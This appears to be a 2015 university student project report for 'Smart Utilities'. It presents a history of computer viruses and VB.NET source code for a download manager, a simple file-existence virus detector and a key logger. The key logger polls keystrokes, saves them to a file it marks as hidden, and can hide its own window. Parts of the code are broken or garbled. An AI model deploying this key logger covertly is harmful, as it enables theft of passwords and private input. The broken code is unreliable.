Smart Utilities Download Manager

Smart Utilities
VIRUS GUARD
KEY LOGGER
DOWNLOAD MANAGER
UNIVERSITY OF KELANIYA
27th
November 2015

PS/2011/273 A.M.P.K.ALAGIYAWANNA
PS/2011/264 P.P.A.S.JAYASUNDARA
PS/2011/050 T.A.D.C ERANGA
PS/2011/336 O.V.HPERERA
PS/2011/001 S.A.C.KABEYKOON
THE TEAM

When we deal with the day-to-day work that we do using our desktop computers , laptop
computers or even with our smart phones, one issue that all of us face is the negative
effects of viruses and malware. This becomes a huge issue as the viruses does not allow us
to do our peacefully, sometime by making the computer slow, or even by opening some
unwanted applications & etc.
Computer viruses do not appear spontaneously; an attacker must introduce one to the
targeted computer system, usually by persuading, or tricking, someone with legitimate
access into placing the virus on the system. This can readily be done using a Trojan horse, a
program which performs a stated function while performing another, unstated and usually
undesirable one.3 For example, suppose a ﬁle used to boot a microcomputer contains a
Trojan horse designed to erase a disk. When the microcomputer boots, it will execute the
Trojan horse, which would erase the disk. Here, the overt function is to provide a basic
operating system; the covert function is to erase the disk.
The concept of a key logger, although it’s popular with the IT folk and the corporate sector
IT consumers, it is not that popular with the individual and private users of computers. But
this can be very important for any type of user regarding security aspect and also the
convenience it could bring when it comes to backing up the information.
We wanted to prepare a software that will become popular with both private users and the
corporate & public users will be interested in using it, which will enable us to earn
considerable funds from the increased sale of our software and invest in R&D to improve
what we can offer to the market. We have discussed with several IT industry professionals
and understood that although Virus Guards are popular with users but the Key Loggers are
not that popular.
We had to find a solution or a method make sure that our project will be popular with both
private and corporate folk.
The Introduction

One of the earliest documented replicating Trojan horses was a version of the game
program animal which when played created another copy of itself. A later version deleted
one copy of the first version, and then created two additional copies of itself. Because it
spread even more rapidly than the first version, this later program supplanted the first
entirely. After a preset date, whenever anyone played the second version, it deleted itself
after the game ended [4].
Ken Thompson created a far more subtle replicating Trojan horse when he rigged a compiler
to break login security [10][12]. When the compiler compiled the login program, it would
secretly insert instructions to cause the resulting executable program to accept a fixed,
secret password as well as a user’s real password. Also, when compiling the compiler, the
Trojan horse would insert commands to modify the login command into the resulting
executable compiler. Thompson then compiled the compiler, deleted the new source, and
reinstalled the old source. Since it showed no traces of being doctored, anyone examining
the source would conclude the compiler was safe. Fortunately, Thompson took some pains
to ensure that it did not spread further, and it was finally deleted when someone copied
another version of the executable compiler over the sabotaged one. Thompson’s point was
that “no amount of source-level verification or scrutiny will protect you from using
untrusted code” ([12], p. 763), which bears remembering, especially given the reliance of
many security techniques relying on humans certifying programs to be free of malicious
logic.
In 1983, Fred Cohen designed a computer virus to acquire privileges on a VAX-11/750
running UNIX; he obtained all systemrights within half an hour on the average, the longest
time being an hour, and the least being under 5 minutes. Because the virus did not degrade
response time noticeably, most users never knew the systemwas under attack. In 1984 an
experiment involving a UNIVAC 1108 showed that viruses could spread throughout that
system too. Viruses were also written for other systems (TOPS-205, VAX/VMS, and a
VM/3706system) but testing their effectiveness was forbidden. Cohen’s experiments
indicated that the security mechanisms of those systems did little if anything to inhibit
computer virus propagation [5][6].
In 1987, Tom Duff experimented on UNIX systems with a small virus that copied itself into
executable files. The virus was not particularly virulent, but when Duff placed 48 infected
programs on the most heavily used machine in the computing center, the virus spread to 46
different systems and infected 466 files, including at least one systemprogram on each
computer system, within eight days. Duff did not violate the security mechanisms in any
way when he seeded the original 48 programs . By writing another virus in a language used
by a command interpreter common to most UNIX systems, he disproved a common fallacy
[5] that computer viruses are intrinsically machine dependent, and cannot spread to
systems of varying architectures.
Literature

On November 2, 1988, a program combining elements of a computer worm and a computer
virus targeting Berkeley and Sun UNIX-based computers entered the Internet; within hours,
it had rendered several thousand computers unusable. Among other techniques, this
program used a virus-like attack to spread: it inserted some instructions into a running
process on the target machine and arranged for those instructions to be executed. To
recover, these machines had to be disconnected from the network, rebooted, and several
critical programs changed and recompiled to prevent re-infection. Worse, the only way to
determine if the program had other malicious side effects (such as deleting files) was to
disassemble it. Fortunately, its only purpose turned out to be to propagate. Infected sites
were extremely lucky that the worm7 did not infect a systemprogram with a virus designed
to delete files, or did not attempt to damage attacked systems. Since then, there have been
several incidents involving worms.
In general, though, computer viruses and replicating Trojan horses have been laboratory
experiments rather than attacks from malicious or careless users. This raises a question of
risk analysis: do the benefits gained in defending against computer viruses offset the costs
of recovery and the likelihood of being attacked?
As worded, the above question implies that the mechanisms defending against computer
viruses are useful only against computer viruses. However, computer viruses use techniques
that are also used in other methods of attack, such as scavenging8, as well as by other forms
of malicious logic. Defenses which strengthen access controls to prevent illicit access, or
which prevent or detect the alteration of other files, also limit, prevent, or detect these
other attacks as well. So, a more appropriate question is whether the benefits gained in
defending against all such attacks offset the costs of recovery and the likelihood of being
attacked.
Because this paper focuses primarily on computer viruses, we shall not delve into the
history of computer security or malicious logic in general. Suffice it to say that the
vulnerability of computer systems to such attacks is well known, and attacks on computer
systems are common enough for descriptions of such incidents) that the use of mechanisms
to inhibit them is generally agreed to be worthwhile.
The effectiveness of any security mechanism depends upon the security of the underlying
base on which the mechanism is implemented, and the correctness of the necessary
checking done at each step. If the trust in the base or in the checking is misplaced the
mechanism will not be secure. Thus “secure” is a relative notion, as is “trust,” and
mechanisms to enhance computer security attempt to balance the cost of the mechanism
with the level of security desired and the degree of trust in the base that the site accepts as
reasonable. Research dealing with malicious logic assumes the interface, software, and/or
hardware used to implement the proposed scheme performs exactly as desired, meaning
the trust is in the underlying computing base, the implementation, and (if done) the
verification.
Current research uses specific properties of computer viruses to detect and limit their
effects. Because of the fundamental nature of these properties, these defenses work
equally well against most other forms of malicious logic.

Download Manager
Public Class DownloadManager
Dim DLocation As String
Dim wc As New WebClient
Public Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles
cmdDownload.Click
If txtSourceURL.Text = "" Or txtDestinationPath.Text = "" Then
MsgBox("Please fill in the missing fields.", MsgBoxStyle.Exclamation)
Else
AddHandler wc.DownloadProgressChanged, AddressOf DownloadProgressChanged
DLocation = txtDestinationPath.Text
cmdAbort.Enabled = True
cmdDownload.Enabled = False
lstDownloadHistory.Items.Add(txtDestinationPath.Text)
wc.DownloadFileAsync(New System.Uri(txtSourceURL.Text), DLocation)
Timer1.Start()
End If
End Sub
Public Sub DownloadProgressChanged(sender As Object, e As
DownloadProgressChangedEventArgs)
ProgressBar1.Value = e.ProgressPercentage
Label1.Text = e.BytesReceived & " | " & e.TotalBytesToReceive
Label4.Text = e.ProgressPercentage & "%"
Label1.Left = Me.ClientSize.Width 2 - Me.Label1.Width 2
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles
cmdBrowse.Click
SaveFileDialog1.ShowDialog()
End Sub
Private Sub SaveFileDialog1_FileOk(sender As Object, e As
System.ComponentModel.CancelEventArgs) Handles SaveFileDialog1.FileOk
txtDestinationPath.Text = SaveFileDialog1.FileName +
System.IO.Path.GetExtension(txtSourceURL.Text)
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles cmdAbort.Click
wc.CancelAsync()
MessageBox.Show("Download aborted!")
cmdAbort.Enabled = False
cmdDownload.Enabled = True
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
If ProgressBar1.Value = 100 Then
ProgressBar1.Value = 0
My.Computer.Audio.Play(My.Resources.complete, AudioPlayMode.Background)
MessageBox.Show("Download completed successfully.")
cmdAbort.Enabled = False
cmdDownload.Enabled = True
Timer1.Stop()
Software Algorithm

End If
End Sub
Private Sub ListBox1_SelectedIndexChanged(sender As Object, e As EventArgs)
Handles lstDownloadHistory.SelectedIndexChanged
Try
Process.Start(lstDownloadHistory.SelectedItem)
Catch ex As Exception
MessageBox.Show("The selected file is no longer available.")
End Try
End Sub
Private Sub DownloadManager_Load(sender As Object, e As EventArgs) Handles
MyBase.Load
Label1.BackColor = Color.Transparent
txtDestinationPath.BackColor = Color.Transparent
txtSourceURL.BackColor = Color.Transparent
End Sub
End Class
Virus Detector
Public Class AntiVirus
Dim percent = 0
Dim red
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
percent = (ListBox2.Items.Count / lstVirusDefinition.Items.Count) * 100
If (lstVirusDefinition.SelectedIndex < lstVirusDefinition.Items.Count - 1)
Then
ProgressBar1.Value = percent
Label2.Text = "Scanning For : " & lstVirusDefinition.SelectedItem
ListBox2.Items.Add("Scanning: " & lstVirusDefinition.SelectedItem)
Try
If Dir(lstVirusDefinition.SelectedItem.ToString) <> "" Then
lstVirusDetected.Items.Add("Threat Found : " &
lstVirusDefinition.SelectedItem.ToString)
ElseIf Dir(lstVirusDefinition.SelectedItem.ToString,
FileAttribute.Hidden
) <> "" Then
lstVirusDetected.Items.Add("Threat Found : " &
lstVirusDefinition.SelectedItem.ToString)
End If
End Try
lstVirusDefinition.SelectedIndex += 1
Else
If lstVirusDetected.Items.Count - 1 >= 1 Then
lstVirusDetected.SelectedIndex = 0
btnDelete.Enabled = True
End If
Timer1.Stop()
Label2.Text = "Finished Scanning. " & lstVirusDetected.Items.Count & "
Threats Found!"
btnStop.Enabled = False
btnStart.Enabled = True

End If
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
btnStart.Enabled = False
btnDelete.Enabled = False
cmbDirectory.SelectedIndex = 0
cmbDirectory.Items.AddRange(System.IO.Directory.GetLogicalDrives)
txtVirus.Hide()
lblDatabase.BackColor = Color.Transparent
Me.lstVirusDefinition.BackColor = Me.lstVirusDefinition.Parent.BackColor
' lstVirusDefinition.BackColor = Color.Transparent
'lstVirusDetected.BackColor = Color.Transparent
End Sub
Private Sub btnStart_Click(sender As Object, e As EventArgs) Handles
btnStart.Click
ListBox2.Items.Clear()
lstVirusDetected.Items.Clear()
percent = 0
lstVirusDefinition.SelectedIndex = 0
Timer1.Start()
btnStop.Enabled = True
End Sub
Private Sub cmbDirectory_SelectedIndexChanged(sender As Object, e As EventArgs)
Handles cmbDirectory.SelectedIndexChanged
If cmbDirectory.SelectedIndex >= 1 Then
lstVirusDefinition.Items.Clear()
txtVirus.Text = My.Resources.virusList.ToString
For Each line As String In txtVirus.Lines
lstVirusDefinition.Items.Add(cmbDirectory.SelectedItem.ToString &
line.ToString)
Next
If lstVirusDefinition.Items.Count - 1 >= 0 Then
lblDatabase.Text = "Database Loaded!"
Else
lblDatabase.Text = "No Database Loaded!"
End If
Else
lstVirusDefinition.Items.Clear()
txtVirus.Text = ""
lblDatabase.Text = "No Database Loaded!"
End If
End Sub
Private Sub lblDatabase_TextChanged(sender As Object, e As EventArgs) Handles
lblDatabase.TextChanged
If lblDatabase.Text = "Database Loaded!" Then
Else

End If
End Sub
Private Sub btnDelete_Click(sender As Object, e As EventArgs) Handles
btnDelete.Click
Dim vpath As String = Application.StartupPath & "virusList.txt"
MsgBox(vpath)
red = Replace(lstVirusDetected.SelectedItem.ToString, "Threat Found : ", "")
Try
System.IO.File.Delete(red)
If Dir(red) <> "" Then
MsgBox("Unable to Delete " & red, MsgBoxStyle.Critical)
Else
MsgBox("File " & red & " successfully Deleted!", MsgBoxStyle.Critical)
lstVirusDetected.Items.Remove(lstVirusDetected.SelectedItem)
End If
End Try
End Sub
Private Sub btnStop_Click(sender As Object, e As EventArgs) Handles btnStop.Click
Timer1.Stop()
lstVirusDetected.SelectedIndex = 0
End If
End Sub
Private Sub lstVirusDetected_SelectedIndexChanged(sender As Object, e As
EventArgs) Handles lstVirusDetected.SelectedIndexChanged
lstVirusDetected.Enabled = True
Else
End If
End Sub
Private Sub lstVirusDetected_SelectedValueChanged(sender As Object, e As
EventArgs) Handles lstVirusDetected.SelectedValueChanged
lstVirusDetected.Enabled = True
Else
End If
End Sub
Private Sub Label2_Click(sender As Object, e As EventArgs)
End Sub
End Class

Key Logger
' libraries
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.IO
Public Class frmKeylogger
' declarations
Dim buffer As New List(Of String)
Dim buffercat As String
Dim stagingpoint As String
Dim actual As String
Dim initlog As Boolean = False
Dim log As StreamWriter
' threading
Public thread_scan As Thread
Public thread_hide As Thread
' thread-safe calling for thread_hide
Delegate Sub Change()
Dim objchange As New Change(AddressOf DoHide)
Private Sub frmKeyRogger_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
Me.Text = "Advanced Key Logger"
lblTitle1.Text = "Smart"
lblTitle2.Text = "KeyLogger"
lblAbout.Text = "Event List"
GroupBox1.Text = "Control Panel"
cmdBegin.Text = ""
cmdEnd.Text = ""
cmdEnd.Enabled = False
cmdClear.Text = ""
'initiate hide thread
thread_hide = New Thread(AddressOf HideIt)
thread_hide.IsBackground = True
thread_hide.Start()
status.Text = "Ready"
End Sub
' write out keystroke log to file on close event
Private Sub frmKeyRogger_Closed(ByVal sender As Object, ByVal e As
System.EventArgs) Handles MyBase.Closed
Call WriteOut()
End Sub
' getkey, API call to USER32.DLL
<DllImport("USER32.DLL", EntryPoint:="GetAsyncKeyState", SetLastError:=True,
CharSet:=CharSet.Unicode, ExactSpelling:=True,
CallingConvention:=CallingConvention.StdCall)>
Public Shared Function getkey(ByVal Vkey As Integer) As Boolean
End Function

Private Sub cmdBegin_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles cmdBegin.Click
thread_scan = New Thread(AddressOf Scan)
thread_scan.IsBackground = True
thread_scan.Start()
cmdBegin.Enabled = False
If chkFile.Checked = True Then
Try
log = New StreamWriter(OpenFileDialog.FileName, True)
Catch
MsgBox("Could not open file for writing. Perhaps it is read only,
non-existant, or you lack necessary privileges to access it?")
End Try
End If
status.Text = "Logging keystrokes..."
cmdEnd.Enabled = True
End Sub
' checks for keypresses with delay, upon detection of pressed key, calls
AddToBuffer
Public Sub Scan()
Dim foo As Integer
While 1
For foo = 1 To 93 Step 1
If getkey(foo) Then
AddtoBuffer(foo, getkey(16))
End If
Next
For foo = 186 To 192 Step 1
If getkey(foo) Then
AddtoBuffer(foo, getkey(16))
End If
Next
BufferToOutput()
buffer.Clear()
Thread.Sleep(120)
SetText(stagingpoint)
End While
End Sub
' parses keycode and saves to buffer to be written
Public Sub AddtoBuffer(ByVal foo As Integer, ByVal modifier As Boolean)
If Not (foo = 1 Or foo = 2 Or foo = 8 Or foo = 9 Or foo = 13 Or (foo >= 17 And
foo <= 20) Or foo = 27 Or (foo >= 32 And foo <= 40) Or (foo >= 44 And foo <= 57) Or
(foo >= 65 And foo <= 93) Or (foo >= 186 And foo <= 192)) Then
Exit Sub
End If
Select Case foo
Case 48 To 57
If modifier Then
Select Case foo
Case 48

actual = ")"
Case 49
actual = "!"
Case 50
actual = "@"
Case 51
actual = "#"
Case 52
actual = "$"
Case 53
actual = "%"
Case 54
actual = "^"
Case 55
actual = "&"
Case 56
actual = "*"
Case 57
actual = "("
End Select
Else
actual = Convert.ToChar(foo)
End If
Case 65 To 90
If modifier Then
actual = Convert.ToChar(foo)
Else
actual = Convert.ToChar(foo + 32)
End If
Case 1
'actual = "<LCLICK>"
actual = ""
Case 2
actual = "<RCLICK>"
Case 8
actual = "<BACKSPACE>"
Case 9
actual = "<TAB>"
Case 13
actual = "<ENTER>"
Case 17
actual = "<CTRL>"
Case 18
actual = "<ALT>"
Case 19
actual = "<PAUSE>"
Case 20
actual = "<CAPSLOCK>"
Case 27
actual = "<ESC>"
Case 32
actual = " "
Case 33
actual = "<PAGEUP>"
Case 34
actual = "<PAGEDOWN>"
Case 35
actual = "<END>"
Case 36
actual = "<HOME>"
Case 37
actual = "<LEFT>"

Case 38
actual = "<UP>"
Case 39
actual = "<RIGHT>"
Case 40
actual = "<DOWN>"
Case 44
actual = "<PRNTSCRN>"
Case 45
actual = "<INSERT>"
Case 46
actual = "<DEL>"
Case 47
actual = "<HELP>"
Case 186
If modifier Then
actual = ":"
Else
actual = ";"
End If
actual = ";"
Case 187
If modifier Then
actual = "+"
Else
actual = "="
End If
Case 188
If modifier Then
actual = "<"
Else
actual = ","
End If
Case 189
If modifier Then
actual = "_"
Else
actual = "-"
End If
Case 190
If modifier Then
actual = ">"
Else
actual = "."
End If
Case 191
If modifier Then
actual = "?"
Else
actual = "/"
End If
Case 192
If modifier Then
actual = "~"
Else
actual = "`"
End If
End Select
If buffer.Count <> 0 Then
Dim bar As Integer = 0

While bar < buffer.Count
If buffer(bar) = actual Then
Exit Sub
End If
bar += 1
End While
End If
buffer.Add(actual)
End Sub
' writes buffer to output box
Public Sub BufferToOutput()
If buffer.Count <> 0 Then
Dim qux As Integer = 0
While qux < buffer.Count
buffercat = buffercat & buffer(qux)
qux += 1
End While
'SetText(txtOutput.Text & buffercat)
stagingpoint = stagingpoint & buffercat
buffercat = String.Empty
End If
End Sub
Delegate Sub SetTextCallback(ByVal [text] As String)
' thread safe call to output text to output box
Private Sub SetText(ByVal [text] As String)
If txtOutput.InvokeRequired Then
Dim d As New SetTextCallback(AddressOf SetText)
Me.Invoke(d, New Object() {[text]})
Else
txtOutput.Text = [text]
End If
End Sub
Private Sub cmdEnd_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles cmdEnd.Click
thread_scan.Abort()
buffer.Clear()
cmdBegin.Enabled = True
cmdEnd.Enabled = False
Call WriteOut()
status.Text = "Stopped logging."
End Sub
Private Sub cmdClear_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles cmdClear.Click
txtOutput.Clear()
stagingpoint = String.Empty
End Sub
Private Sub frmKeyRogger_Resize(ByVal sender As Object, ByVal e As
System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Hide()

End If
End Sub
Public Sub WriteOut()
If chkFile.Checked = False Then
Exit Sub
End If
Dim tm As System.DateTime
tm = Now
Try
log.WriteLine(vbNewLine)
Catch
log = New StreamWriter(OpenFileDialog.FileName, True)
End Try
log.WriteLine(tm)
If stagingpoint <> Nothing Then
log.WriteLine(stagingpoint)
End If
log.WriteLine(vbNewLine)
log.Flush()
log.Close()
'hides file/sets as hidden
File.SetAttributes(OpenFileDialog.FileName, FileAttributes.Hidden)
End Sub
' ctrl+shift+s toggles hide form
Public Sub HideIt()
While 1
If getkey(17) And getkey(160) And getkey(83) Then
Me.Invoke(objchange)
End If
Thread.Sleep(200)
End While
End Sub
Public Sub DoHide()
If Me.Visible = True Then
Me.Visible = False
Else
Me.Visible = True
End If
End Sub
Private Sub chkFile_CheckedChanged(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles chkFile.CheckedChanged
If chkFile.Checked = True Then
OpenFileDialog.ShowDialog()
End If
End Sub
Private Sub lblTitle1_Click(sender As Object, e As EventArgs) Handles
lblTitle1.Click
End Sub
Private Sub lblTitle1_Click_1(sender As Object, e As EventArgs) Handles
lblTitle1.Click
End Sub

Private Sub GroupBox1_Enter(sender As Object, e As EventArgs) Handles
GroupBox1.Enter
End Sub
Private Sub lblTitle2_Click(sender As Object, e As EventArgs) Handles
lblTitle2.Click
End Sub
End Class

Software testing is an investigation conducted to provide stakeholders with information
about the quality of the product or service under test. Software testing can also provide an
objective, independent view of the software to allow the business to appreciate and
understand the risks of software implementation. Test techniques include the process of
executing a program or application with the intent of finding software bugs (errors or other
defects).
Software testing involves the execution of a software component or systemcomponent to
evaluate one or more properties of interest. In general, these properties indicate the extent
to which the component or system under test:
 meets the requirements that guided its design and development,
 responds correctly to all kinds of inputs,
 performs its functions within an acceptable time,
 is sufficiently usable,
 can be installed and run in its intended environments, and
 achieves the general result its stakeholder’s desire.
As the number of possible tests for even simple software components is practically infinite,
all software testing uses some strategy to select tests that are feasible for the available time
and resources. As a result, software testing typically (but not exclusively) attempts to
execute a program or application with the intent of finding software bugs (errors or other
defects). The job of testing is an iterative process as when one bug is fixed, it jerry can
illuminate other, deeper bugs, or can even create new ones.
Software testing can provide objective, independent information about the quality of
software and risk of its failure to users and/or sponsors.
Not all software defects are caused by coding errors. One common source of expensive
defects is requirement gaps, e.g., unrecognized requirements which result in errors of
omission by the program designer.Requirement gaps can often be non-functional
requirements such as testability, scalability, maintainability, usability, performance,
andsecurity.
Software faults occur through the following processes. A programmer makes
an error (mistake), which results in a defect (fault, bug) in the software source code. If this
defect is executed, in certain situations the system will produce wrong results, causing
a failure. Not all defects will necessarily result in failures. For example, defects in dead
Software Testing

code will never result in failures. A defect can turn into a failure when the environment is
changed. Examples of these changes in environment include the software being run on a
newcomputer hardware platform, alterations in source data, or interacting with different
software. A single defect may result in a wide range of failure symptoms.

The project enabled a lot of people who are both individual and corporate to experience a light
software package that combined a virus detector, a key logger and a very useful .
The rapid advancement in VN.Net technologies have given rise to new applications that were
impossible just few years ago. One of these applications is Smart Utilities. It is because when
considering about virus detecting, Advanced download manager and Key Logger. This
document defines details the requirements, design and implementation of a accurate and well
functioning application
Conclusion

 Investing more in to R&D side of the project to develop a software package which is
more light weight
 Promoting the features of the software package to outside to start distributing
commercially
 Conductingpublicresearchtofindhow userslike the featuresof the roject
The Next Step

Smart Utilities Download Manager

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Viewers also liked

Viewers also liked (9)

Similar to Smart Utilities Download Manager

Similar to Smart Utilities Download Manager (20)

Smart Utilities Download Manager